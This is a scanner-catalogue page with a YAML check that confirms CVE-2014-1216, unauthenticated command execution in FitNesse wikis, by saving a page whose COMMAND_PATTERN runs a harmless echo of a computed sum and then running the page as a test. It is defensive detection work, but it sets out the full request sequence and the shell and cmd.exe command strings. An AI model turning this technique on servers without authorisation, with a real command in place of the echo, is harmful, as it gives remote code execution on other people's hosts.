FitNesse — 1 vulnerability check

noctis ships 1 vulnerability check for FitNesse, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

FitNesse Wiki COMMAND_PATTERN Command Execution

CVECVE-2014-1216
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/fitnesse/CVE-2014-1216.yaml

Tests whether a FitNesse wiki lets an anonymous visitor run commands on the server. FitNesse starts the program named by a page's COMMAND_PATTERN variable when the page is run as a test, and anyone who may edit pages can set that variable. On a FitNesse page found at /, /wiki or /fitnesse, the test creates a page with a random TestP name, saves into it a COMMAND_PATTERN that makes the shell print NOCTIS followed by the sum of two random numbers, runs the page with ?test (without recording it in the test history) and reads the process output FitNesse reports for it: the ErrorLogs page on older releases, the XML test report on newer ones. When the Linux command gives nothing, a cmd.exe variant for Windows hosts is tried. The finding is reported only when the computed sum, which no request contains, comes back, which proves the command ran. The test page and its error-log page are deleted afterwards; the page name stays in FitNesse's RecentChanges list. FitNesse servers that require a login for editing and running tests are not affected.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/
  3. HTTP(S) request GET {{dir}}/{{g.page}}?edit
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST {{dir}}/{{g.page}} with a crafted body
  6. HTTP(S) request GET {{dir}}/{{g.page}}?test&nohistory=true
  7. HTTP(S) request GET {{dir}}/ErrorLogs.{{g.page}}
  8. HTTP(S) request GET {{dir}}/{{g.page}}?test&format=xml&nohistory=true
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request POST {{dir}}/{{g.page}} with a crafted body
  11. HTTP(S) request GET {{dir}}/{{g.page}}?test&nohistory=true
  12. HTTP(S) request GET {{dir}}/ErrorLogs.{{g.page}}
  13. HTTP(S) request GET {{dir}}/{{g.page}}?test&format=xml&nohistory=true
  14. Parses / computes the next value with a Rhai script
  15. … and 6 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/fitnesse/CVE-2014-1216.yaml
# FitNesse Wiki COMMAND_PATTERN / TEST_RUNNER command execution — CVE-2014-1216
#
# FitNesse runs a test page by starting the process its COMMAND_PATTERN and
# TEST_RUNNER wiki variables name (%m in COMMAND_PATTERN is replaced by
# TEST_RUNNER). Any visitor who can edit a page can set them with
# "!define COMMAND_PATTERN {...}" and then request <page>?test, so the server
# runs the command with the FitNesse account. A default FitNesse has no
# authentication, so anyone who reaches the wiki can do this. NVD lists
# 20131110 / 20140201 and earlier; no later release changed the behaviour
# (it is how test systems are configured): the same request also runs on
# 20140418, 20161106 and 20261101, checked below. The fix is to require a
# login for editing and test runs (-a / -f authentication) or to make the
# wiki read-only.
#
# Detection (benign, in-band, tried under /, /wiki and /fitnesse like the
# source check):
#   1. GET <dir>/ must carry FitNesse's page header (">FitNesse<") or a
#      "Server: FitNesse-v..." header.
#   2. GET <dir>/TestP<7 random lowercase letters>?edit, read the editTime
#      and ticketId hidden fields of the edit form.
#   3. POST the page (responder=saveData) with
#        !define COMMAND_PATTERN {sh -c echo$IFS"NOCTIS"$((A+B)) %m}
#      where A and B are random per run. The command line FitNesse builds is
#      "sh -c <script> <test runner> <host> <port> <ticket>", so the shell runs
#      only the script and prints NOCTIS<A+B>. One string works on both
#      command-line splitters FitNesse has used: whitespace split of the whole
#      line (<= 2014, Runtime.exec(String)) and its own token parser (later).
#   4. GET <page>?test&nohistory=true runs it; FitNesse <= 2014 shows the
#      process' standard output on <dir>/ErrorLogs.<page>. When that gives no
#      proof, GET <page>?test&format=xml&nohistory=true runs it again: later
#      releases put the output in the XML report (<stdOut>). nohistory keeps
#      the run out of FitNesse's test history (files/testResults), which
#      deletePage would not remove.
#   5. Only when no Linux proof came back: the same with
#        !define COMMAND_PATTERN {cmd /c set/a A+B&echo.NOCTIS&rem %m}
#      for Windows hosts (prints <A+B>NOCTIS).
#   6. POST <page>?deletePage and ErrorLogs.<page>?deletePage (confirmed=Yes)
#      remove the two pages again. What stays: the page name in
#      RecentChanges and, on a wiki that never ran a test before, an empty
#      ErrorLogs parent page.
#   The finding needs NOCTIS<A+B> (or <A+B>NOCTIS): the sum never appears in
#   any request, and the pages only echo the command itself ("$((A+B))"), so
#   a page that reflects the request cannot produce it. QoD 97.
#
# Better than the source check: the NASL measures the ?test response time of
# "ping -c N 127.0.0.1" (5 and 8 s), which a slow server passes and a
# streamed reply can blur; this feed proves execution with a computed value
# read back from FitNesse's own process log, covers later releases (the
# NASL's TEST_RUNNER-only command no longer starts there), and leaves no
# test-history entry.
# The Windows command is built for cmd.exe's parser but was not run on a
# Windows host (only Linux FitNesse builds were exercised).
#
# Verified against the real FitNesse code: fitnesse-20140201 / 20140418 /
# 20161106 / 20261101 standalone jars from Maven Central, driven in-process
# (FitNesseExpediter on a MockSocket, the request bytes this feed sends):
# 303 on save, NOCTIS<sum> on ErrorLogs.<page> (2014) or in the
# ?format=xml report (2016, 2026), no files/testResults entry with
# nohistory=true, pages gone after deletePage.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_fitnesse_wiki_rce.nasl
# (GPL-2.0-only). Request shape also matches the Metasploit module
# exploits/windows/http/fitnesse_wiki_rce (EDB-ID 32568).
uid: 9eebe650-c445-4939-adae-e2ca27dfdcf7
name: "FitNesse Wiki COMMAND_PATTERN Command Execution (CVE-2014-1216)"
description: |
  Tests whether a FitNesse wiki lets an anonymous visitor run commands on the
  server. FitNesse starts the program named by a page's COMMAND_PATTERN
  variable when the page is run as a test, and anyone who may edit pages can
  set that variable. On a FitNesse page found at /, /wiki or /fitnesse, the
  test creates a page with a random TestP name, saves into it a
  COMMAND_PATTERN that makes the shell print NOCTIS followed by the sum of two
  random numbers, runs the page with ?test (without recording it in the test
  history) and reads the process output FitNesse reports for it: the
  ErrorLogs page on older releases, the XML test report on newer ones. When
  the Linux command gives nothing, a cmd.exe variant for Windows hosts is
  tried. The finding is reported only when the computed sum, which no request
  contains, comes back, which proves the command ran. The test page and its
  error-log page are deleted afterwards; the page name stays in FitNesse's
  RecentChanges list. FitNesse servers that require a login for editing and
  running tests are not affected.
cves: [CVE-2014-1216]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [fitnesse, wiki, command-execution, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-1216"
  - "https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1216/"
  - "https://www.exploit-db.com/exploits/32568"

steps:
  # Per-run page name and operands. The proof is A+B, which no request
  # carries; the page form-encodes the two COMMAND_PATTERN definitions.
  - id: gen
    action: script
    code: |
      let letters = "abcdefghijklmnopqrstuvwxyz";
      let name = "TestP";
      for i in 0..7 { name += letters.sub_string(rand_int(0, 25), 1); }
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      let sum = a + b;
      #{
        page: name,
        a: a,
        b: b,
        lin_proof: "NOCTIS" + sum,
        win_proof: "" + sum + "NOCTIS",
        lin_body: "%21define+COMMAND_PATTERN+%7Bsh+-c+echo%24IFS%22NOCTIS%22%24%28%28" + a + "%2B" + b + "%29%29+%25m%7D%0D%0A",
        win_body: "%21define+COMMAND_PATTERN+%7Bcmd+%2Fc+set%2Fa+" + a + "%2B" + b + "%26echo.NOCTIS%26rem+%25m%7D%0D%0A"
      }
    store_as: g

  - id: init_found
    action: set_var
    var_name: found
    var_value: ""

  - id: init_found_os
    action: set_var
    var_name: found_os
    var_value: ""

  # ── Loop group: every step below runs once per base directory. Each pass
  # resets what it reads, so nothing is left over from the previous one.
  - id: init_home
    action: set_var
    var_name: home
    var_value: {status: 0, body: "", headers: {}}
    loop:
      var: dir
      over: ["", "/wiki", "/fitnesse"]

  - id: init_edit
    action: set_var
    var_name: edit
    var_value: {status: 0, body: "", headers: {}}

  - id: init_tok
    action: set_var
    var_name: tok
    var_value: ""

  - id: init_run
    action: set_var
    var_name: run
    var_value: {status: 0, body: "", headers: {}}

  - id: init_log
    action: set_var
    var_name: elog
    var_value: {status: 0, body: "", headers: {}}

  - id: init_xlog
    action: set_var
    var_name: xlog
    var_value: {status: 0, body: "", headers: {}}

  - id: init_proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: home
    action: http_request
    method: GET
    path: "{{dir}}/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'found == ""'
    store_as: home

  # FitNesse gate: page header link (<span>FitNesse</span>) or Server header.
  - id: edit
    action: http_request
    method: GET
    path: "{{dir}}/{{g.page}}?edit"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'found == "" && home.status == 200 && (stridx(home.body, ">FitNesse<") >= 0 || ("server" in home.headers && stridx(home.headers["server"], "FitNesse") >= 0))'
    store_as: edit

  # editTime + ticketId of the edit form ("" when the form is absent, e.g. a
  # login is required).
  - id: tok
    action: script
    condition: 'found == ""'
    code: |
      if edit.status != 200 { return ""; }
      let et = eregmatch("name=\"editTime\" value=\"([0-9]+)\"", edit.body);
      let ti = eregmatch("name=\"ticketId\" value=\"(-?[0-9]+)\"", edit.body);
      if et.len() < 2 || ti.len() < 2 { return ""; }
      "editTime=" + et[1] + "&ticketId=" + ti[1]
    store_as: tok

  # ── Linux / Unix: sh -c echo$IFS"NOCTIS"$((A+B)) ────────────────────────
  - id: save_lin
    action: http_request
    method: POST
    path: "{{dir}}/{{g.page}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'found == "" && tok != ""'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{tok}}&responder=saveData&helpText=&suites=&__EDITOR__1=textarea&pageContent={{g.lin_body}}&save=Save"
    store_as: saved

  - id: run_lin
    action: http_request
    method: GET
    path: "{{dir}}/{{g.page}}?test&nohistory=true"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 60
    condition: 'found == "" && tok != ""'
    store_as: run

  - id: elog_lin
    action: http_request
    method: GET
    path: "{{dir}}/ErrorLogs.{{g.page}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'found == "" && tok != ""'
    store_as: elog

  # FitNesse 2016+ no longer writes ErrorLogs pages; its XML report carries
  # the process output (<stdOut>) instead. Only when the HTML run gave none.
  - id: xrun_lin
    action: http_request
    method: GET
    path: "{{dir}}/{{g.page}}?test&format=xml&nohistory=true"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 60
    condition: 'found == "" && tok != "" && type_of(elog.body) == "string" && stridx(elog.body, g.lin_proof) < 0 && stridx(run.body, g.lin_proof) < 0'
    store_as: xlog

  - id: check_lin
    action: script
    condition: 'found == "" && tok != ""'
    code: |
      let hit = false;
      for r in [run, elog, xlog] {
        if type_of(r) == "map" && type_of(r.body) == "string" && stridx(r.body, g.lin_proof) >= 0 { hit = true; }
      }
      if hit { "linux" } else { "" }
    store_as: proof

  # ── Windows: cmd /c set/a A+B&echo.NOCTIS (only without a Linux proof) ──
  - id: save_win
    action: http_request
    method: POST
    path: "{{dir}}/{{g.page}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'found == "" && tok != "" && proof == ""'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{tok}}&responder=saveData&helpText=&suites=&__EDITOR__1=textarea&pageContent={{g.win_body}}&save=Save"
    store_as: saved

  - id: run_win
    action: http_request
    method: GET
    path: "{{dir}}/{{g.page}}?test&nohistory=true"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 60
    condition: 'found == "" && tok != "" && proof == ""'
    store_as: run

  - id: elog_win
    action: http_request
    method: GET
    path: "{{dir}}/ErrorLogs.{{g.page}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'found == "" && tok != "" && proof == ""'
    store_as: elog

  # FitNesse 2016+ no longer writes ErrorLogs pages; its XML report carries
  # the process output (<stdOut>) instead. Only when the HTML run gave none.
  - id: xrun_win
    action: http_request
    method: GET
    path: "{{dir}}/{{g.page}}?test&format=xml&nohistory=true"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 60
    condition: 'found == "" && tok != "" && proof == "" && type_of(elog.body) == "string" && stridx(elog.body, g.win_proof) < 0 && stridx(run.body, g.win_proof) < 0'
    store_as: xlog

  - id: check_win
    action: script
    condition: 'found == "" && tok != "" && proof == ""'
    code: |
      let hit = false;
      for r in [run, elog, xlog] {
        if type_of(r) == "map" && type_of(r.body) == "string" && stridx(r.body, g.win_proof) >= 0 { hit = true; }
      }
      if hit { "windows" } else { "" }
    store_as: proof

  # ── Cleanup: delete the test page and its error-log page ────────────────
  - id: delete_page
    action: http_request
    method: POST
    path: "{{dir}}/{{g.page}}?deletePage"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'found == "" && tok != ""'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "confirmed=Yes"
    store_as: deleted

  - id: delete_log
    action: http_request
    method: POST
    path: "{{dir}}/ErrorLogs.{{g.page}}?deletePage"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'found == "" && tok != ""'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "confirmed=Yes"
    store_as: deleted_log

  - id: keep_os
    action: script
    condition: 'found == "" && proof != ""'
    code: "proof"
    store_as: found_os

  - id: keep_dir
    action: script
    condition: 'found == "" && proof != ""'
    code: 'if dir == "" { "/" } else { dir }'
    store_as: found

  # ── Finding: still inside the per-dir group, gated on found, so it fires
  # once (stop: true ends the loop on the first hit).
  - id: report_linux
    action: match
    source: found_os
    pattern: "^linux$"
    condition: 'found != ""'
    on_match:
      finding:
        title: "FitNesse Wiki COMMAND_PATTERN Command Execution (CVE-2014-1216)"
        description: "An anonymous request saved a FitNesse page whose COMMAND_PATTERN runs a shell command, and running the page as a test executed it: FitNesse's process log returned the sum of two random numbers that the command computed."
        remediation: "Require authentication for editing and running pages (start FitNesse with -a or -f, or put it behind an authenticating proxy), or run the wiki read-only; do not expose FitNesse to untrusted networks."
        confidence_delta: 0.67
        qod: 97
        evidence: "Under {{found}}, POST {{g.page}} saved !define COMMAND_PATTERN {sh -c echo$IFS\"NOCTIS\"$(({{g.a}}+{{g.b}})) %m}, GET {{g.page}}?test ran it and the process log showed {{g.lin_proof}}; the page and its error-log page were deleted afterwards"
      stop: true

  - id: report_windows
    action: match
    source: found_os
    pattern: "^windows$"
    condition: 'found != ""'
    on_match:
      finding:
        title: "FitNesse Wiki COMMAND_PATTERN Command Execution (CVE-2014-1216)"
        description: "An anonymous request saved a FitNesse page whose COMMAND_PATTERN runs a cmd.exe command, and running the page as a test executed it: FitNesse's process log returned the sum of two random numbers that the command computed."
        remediation: "Require authentication for editing and running pages (start FitNesse with -a or -f, or put it behind an authenticating proxy), or run the wiki read-only; do not expose FitNesse to untrusted networks."
        confidence_delta: 0.67
        qod: 97
        evidence: "Under {{found}}, POST {{g.page}} saved !define COMMAND_PATTERN {cmd /c set/a {{g.a}}+{{g.b}}&echo.NOCTIS&rem %m}, GET {{g.page}}?test ran it and the process log showed {{g.win_proof}}; the page and its error-log page were deleted afterwards"
      stop: true

View these feeds on GitHub